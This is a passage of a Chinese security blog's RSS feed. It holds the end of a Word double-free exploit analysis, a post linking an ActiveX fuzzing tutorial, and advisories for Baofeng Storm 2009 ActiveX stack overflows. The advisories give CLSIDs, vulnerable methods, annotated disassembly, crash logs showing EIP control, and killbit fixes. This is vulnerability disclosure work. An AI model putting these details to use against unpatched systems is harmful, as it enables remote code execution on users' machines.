接下来就是要的shellcode</p>
<p>总结如下：<br />
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。<br />
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)</p>
<p>AVP特征:<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0xb7e &#8211; 0xbf7</p>
<p>所在格式:</p>
<p>Border Code (BRC) -&gt; sprmTTableBorders</p>
<p>sprmTTableBorders  0xd613  change tap.rgbrcTable  BRC[6] (see below)  variable length<br />
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted<br />
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.</p>
<p>avp不是这个格式来定位特征,应该是死偏移来解决的。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>支持大萝卜的 softrce~~</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/213">2010年01月30日</a>, gz1x writes: 分析的不错，再待佳作 ：）</li><li><a href="http://www.softrce.net/archives/213">2010年02月8日</a>, <a href='http://www.7qiao.net.cn/' rel='external nofollow' class='url'>狐狸</a> writes: 呵呵，路过，顶一下。</li><li><a href="http://www.softrce.net/archives/213">2010年04月15日</a>, wordexp writes: 写了这么多可惜分析错了.</li><li><a href="http://www.softrce.net/archives/213">2010年04月15日</a>, Cyg07 writes: 刚好在写邮件，wordexp牛有什么错误请指出,不需感叹。 :)</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年12月27日 -- <a href="http://www.softrce.net/archives/210" title="Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial">Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial</a></li><li>2011年09月13日 -- <a href="http://www.softrce.net/archives/405" title="Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/213/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ActiveX 控件组件的Fuzz和利用</title>
		<link>http://www.softrce.net/archives/136</link>
		<comments>http://www.softrce.net/archives/136#comments</comments>
		<pubDate>Thu, 14 May 2009 19:36:28 +0000</pubDate>
		<dc:creator>caterqiu</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[Fuzz]]></category>
		<category><![CDATA[控件]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/136</guid>
		<description><![CDATA[前几天暴风影音的那个0day也跟了下 当然以我技术，那肯定是没有跟出来了 这也注定，俺不适合搞技术 漏洞挖掘时一门严谨的科学，需要的知识经验太多了 最近也有一个朋友加我和我交流溢出程序的编写和利用 再说下Cater 不只是一个传说，请大哥们放过我吧。 郑重申明下 1、我已经该行做了水果渠道，工作已经不是搞IT的了 2、我也不是什么黑客，我没法和YingCracker这等牛比人 3、我不否认我在某人心中是个坏人，尽管我还没有伤害到她 4、我只用过Cater，caterqiu，老黄牛这些ID，我只是小打小闹搞了搞技术，我只是一个迷途小子。 丢出最后一篇技术的文章 纪念下，当年学习 ActiveX控件的漏洞Fuzz和漏洞利用学习的往事 希望错恋上 Cater 的朋友不联系搞坏事。 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 2009年，我的目标是好好整理思绪和经历好好做事。 送上我的最后一篇有关技术的文档，来告别江湖上的三位大哥 K头、K少、老k www.caterqiu.cn/UPLOAD/2009/5/ActiveX_And_Fuzz_Tutorial.By.Cater.Qiu.rar PassWord:WwW.CaterQiu.Cn From:CaterQiu&#8217;s Blog Link:http://www.caterqiu.cn/Article/ActiveX_Fuzz_And_Tutorial_By_CaterQiu.html Blog:WwW.CaterQiu.Cn E-Mail:Cater.Qiu@Gmail.CoM Date:May 15 ,2009 Comments2009年05月15日, robinh00d writes: 支持cater2009年05月15日, root writes: 人怕出名猪怕壮。 游戏该玩还得玩，换个方法玩就是了。2009年05月15日, cater writes: …我出毛毛名哦。 其实写点东西到处发发主要还是想让自己的心得被人分享呗 写的大多是简单的入门教程 哎，我想要月收入一万五，只可惜我不是什么美女YingCracker。2009年05月15日, robinh00d writes: 以前用过comraider~2009年05月15日, ayarei writes: @cater, 技术性美男吧，恩Related posts:暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞中国游戏中心游戏大厅ActiveX远程栈溢出漏洞暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞Copyright &#169; 2008 This feed is for personal, non-commercial use only. [...]]]></description>
			<content:encoded><![CDATA[<p>前几天暴风影音的那个0day也跟了下<br />
当然以我技术，那肯定是没有跟出来了<br />
这也注定，俺不适合搞技术</p>
<p>漏洞挖掘时一门严谨的科学，需要的知识经验太多了<br />
最近也有一个朋友加我和我交流溢出程序的编写和利用</p>
<p>再说下Cater 不只是一个传说，请大哥们放过我吧。<br />
<span id="more-136"></span><br />
郑重申明下<br />
1、我已经该行做了水果渠道，工作已经不是搞IT的了<br />
2、我也不是什么黑客，我没法和YingCracker这等牛比人<br />
3、我不否认我在某人心中是个坏人，尽管我还没有伤害到她<br />
4、我只用过Cater，caterqiu，老黄牛这些ID，我只是小打小闹搞了搞技术，我只是一个迷途小子。</p>
<p>丢出最后一篇技术的文章 纪念下，当年学习 ActiveX控件的漏洞Fuzz和漏洞利用学习的往事<br />
希望错恋上 Cater 的朋友不联系搞坏事。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>2009年，我的目标是好好整理思绪和经历好好做事。</p>
<p>送上我的最后一篇有关技术的文档，来告别江湖上的三位大哥 K头、K少、老k</p>
<p>www.caterqiu.cn/UPLOAD/2009/5/ActiveX_And_Fuzz_Tutorial.By.Cater.Qiu.rar<br />
PassWord:WwW.CaterQiu.Cn</p>
<p>From:CaterQiu&#8217;s Blog<br />
Link:http://www.caterqiu.cn/Article/ActiveX_Fuzz_And_Tutorial_By_CaterQiu.html</p>
<p>Blog:WwW.CaterQiu.Cn<br />
E-Mail:Cater.Qiu@Gmail.CoM<br />
Date:May 15 ,2009</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/136">2009年05月15日</a>, robinh00d writes: 支持cater</li><li><a href="http://www.softrce.net/archives/136">2009年05月15日</a>, root writes: 人怕出名猪怕壮。
游戏该玩还得玩，换个方法玩就是了。</li><li><a href="http://www.softrce.net/archives/136">2009年05月15日</a>, <a href='http://www.caterqiu.cn' rel='external nofollow' class='url'>cater</a> writes: …我出毛毛名哦。
其实写点东西到处发发主要还是想让自己的心得被人分享呗
写的大多是简单的入门教程

哎，我想要月收入一万五，只可惜我不是什么美女YingCracker。</li><li><a href="http://www.softrce.net/archives/136">2009年05月15日</a>, robinh00d writes: 以前用过comraider~</li><li><a href="http://www.softrce.net/archives/136">2009年05月15日</a>, ayarei writes: @cater, 技术性美男吧，恩</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/100" rel="bookmark" title="Permanent Link: 暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li><a href="http://www.softrce.net/archives/83" rel="bookmark" title="Permanent Link: 中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/136/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/100</link>
		<comments>http://www.softrce.net/archives/100#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:18:59 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=100</guid>
		<description><![CDATA[暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &#60;=[3.09.04.17] 细节: clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05 C:\Program Files\StormII\Config.dll Sub SetAttributeValue (   ByVal lpQueryStr  As String ,   ByVal bstrAttributeName  As String ,   ByVal lpValueStr  As String ) 当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码 分析: ?View Code ASM1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [...]]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-100"></span><br />
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05<br />
C:\Program Files\StormII\Config.dll<br />
Sub SetAttributeValue (<br />
  ByVal lpQueryStr  As String ,<br />
  ByVal bstrAttributeName  As String ,<br />
  ByVal lpValueStr  As String<br />
)</p>
<p>当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p100code2'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1002"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code" id="p100code2"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4D                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4F                 <span style="color: #00007f; font-weight: bold;">sub</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">208h</span>       <span style="color: #666666; font-style: italic;">; 开辟208h的堆栈空间</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A55                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; 判断参数1是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A59                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5B                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span>  <span style="color: #666666; font-style: italic;">; 判断参数3是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5F                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A61                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span>    <span style="color: #666666; font-style: italic;">; 参数1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A64                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; eax正好指向ebp-208h的堆栈区域</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>wcscpy       <span style="color: #666666; font-style: italic;">; oh，my god，不进行参数合法性检查，直接开始拷贝操作，</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                                         <span style="color: #666666; font-style: italic;">; 哦豁了，eax指向的堆栈区域全部被超长非法参数占领了-_-！</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A72                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A78                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_8<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A7C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> String   <span style="color: #666666; font-style: italic;">; &quot;/@&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A81                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aSS      <span style="color: #666666; font-style: italic;">; &quot;%s%s&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A86                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; String</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A87                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>swprintf     <span style="color: #666666; font-style: italic;">; 上面的拷贝直接影响到这里的swprintf,相当于再对eax指向的堆栈进行一次拷贝操作</span>
             <span style="color: #666666; font-style: italic;">; 没有上边的拷贝，这里也要出问题</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A8D                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A90                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A96                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A99                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10001201
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9F                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA1                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_1000CC9A
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA6                 <span style="color: #00007f; font-weight: bold;">jmp</span>     <span style="color: #000000; font-weight: bold;">short</span> locret_10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 <span style="color: #666666; font-style: italic;">; ---------------------------------------------------------------------------</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 loc_10009AA8<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+Dj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                                         <span style="color: #666666; font-style: italic;">; sub_10009A4C+13j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">80004005h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD locret_10009AAD<span style="color: #339933;">:</span>                        <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+5Aj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD                 <span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAE                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">10h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p>ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 10020000   C:\Program Files\StormII\Config.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (first chance)<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (!!! second chance !!!)<br />
eax=80004005 ebx=100116b0 ecx=0175f998 edx=00030001 esi=0039fe98 edi=00000000<br />
eip=00410061 esp=0175f5ec ebp=00410041 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212<br />
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Internet Explorer\IEXPLORE.EXE<br />
IEXPLORE+0&#215;10061:<br />
00410061 ff              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]<br />
“Compatibility Flags”=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/100">2009年05月2日</a>, <a href='http://www.windowsxp-vista.cn/?p=32' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 | windows xp vista windows7</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100">2009年05月2日</a>, <a href='http://blog.24reader.com/vincentlam/2009/05/02/%e6%9a%b4%e9%a3%8e%e5%bd%b1%e9%9f%b3%e8%a2%ab%e6%8a%a5%e5%91%8a%e5%ad%98%e5%9c%a80day%e5%ae%89%e5%85%a8%e6%bc%8f%e6%b4%9e/' rel='external nofollow' class='url'>暴风影音被报告存在0day安全漏洞 於囧</a> writes: [...] 感谢匿名人士的投递 国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后，可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。 [...]</li><li><a href="http://www.softrce.net/archives/100">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li><li><a href="http://www.softrce.net/archives/100">2011年03月22日</a>, imbadyc writes: lz是四川人？</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/100/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/96</link>
		<comments>http://www.softrce.net/archives/96#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:15:51 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=96</guid>
		<description><![CDATA[暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &#60;=[3.09.04.17] 细节: clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB C:\Program Files\StormII\mps.dll Sub OnBeforeVideoDownload(ByVal URL  As String) 当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码 分析: sub_10014240    &#124;&#8211;.text:1001430A  call    sub_10014D40    &#124;&#8211;sub_10014D40          &#124;&#8211;.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0          &#124;&#8211;sub_1005DAF0                &#124;&#8211;.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50                &#124;&#8211;sub_1005EB50        &#124;&#8211;.text:1005EB9A  call    sub_10060320                      &#124;&#8211;sub_10060320 [...]]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-96"></span><br />
clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB<br />
C:\Program Files\StormII\mps.dll<br />
Sub OnBeforeVideoDownload(ByVal URL  As String)</p>
<p>当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>
<blockquote><p>sub_10014240<br />
   |&#8211;.text:1001430A  call    sub_10014D40<br />
   |&#8211;sub_10014D40<br />
